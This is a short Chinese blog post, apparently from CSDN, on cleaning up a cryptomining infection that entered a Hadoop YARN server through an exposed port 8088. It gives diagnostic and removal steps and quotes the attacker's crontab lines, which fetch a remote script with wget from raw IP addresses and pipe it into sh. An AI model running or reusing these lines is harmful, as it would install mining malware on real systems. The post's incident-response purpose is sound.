yarn进程CPU占用率百分之百

阿里云出现挖矿程序

Linux根绝Pid查看进程名

top命令查看占用CPU高的进程

ps -aux | grep PID号

ps -ef | grep PID号

查看yarn程序的信息

ps -ef | grep yarn
yarn 46185 1 99 May03 ?  4 - 19 : 04 : 28 / tmp / java - c / tmp / w.conf

yarn挖矿程序
* * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&

ps -ef | grep yarn
yarn 46185 1 99 May03 ?  4 - 19 : 04 : 28 / tmp / java - c / tmp / w.conf

 tcp        0      1 172.31.**.**:44128         185.222.210.59:80           SYN_SENT    27001/wget
 
 参考网站
 https://labitacoranet.wordpress.com/2018/05/16/forensic-analysis-of-a-cryptocurrency-mining-attack-in-a-big-data-cluster/
 https://zhangnew.com/hadoop-yarn-safe.html
 https://blog.csdn.net/BleakRed/article/details/80625551
 https://www.linuxidc.com/Linux/2014-09/106497.htm
 https://www.jb51.net/hack/186589.html
 
 http://www.freebuf.com/vuls/173638.html
 
 8088,8090
 
 查看哪些IP连接过该端口
 netstat -anp |grep 8042

一般是8088端口入侵,可以禁止外网访问8088端口

删除crontab的任务

crontab -l -u yarn

ps -ef | grep yarn

crontab -r -u yarn

删除不相干文件/var/tmp/java

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值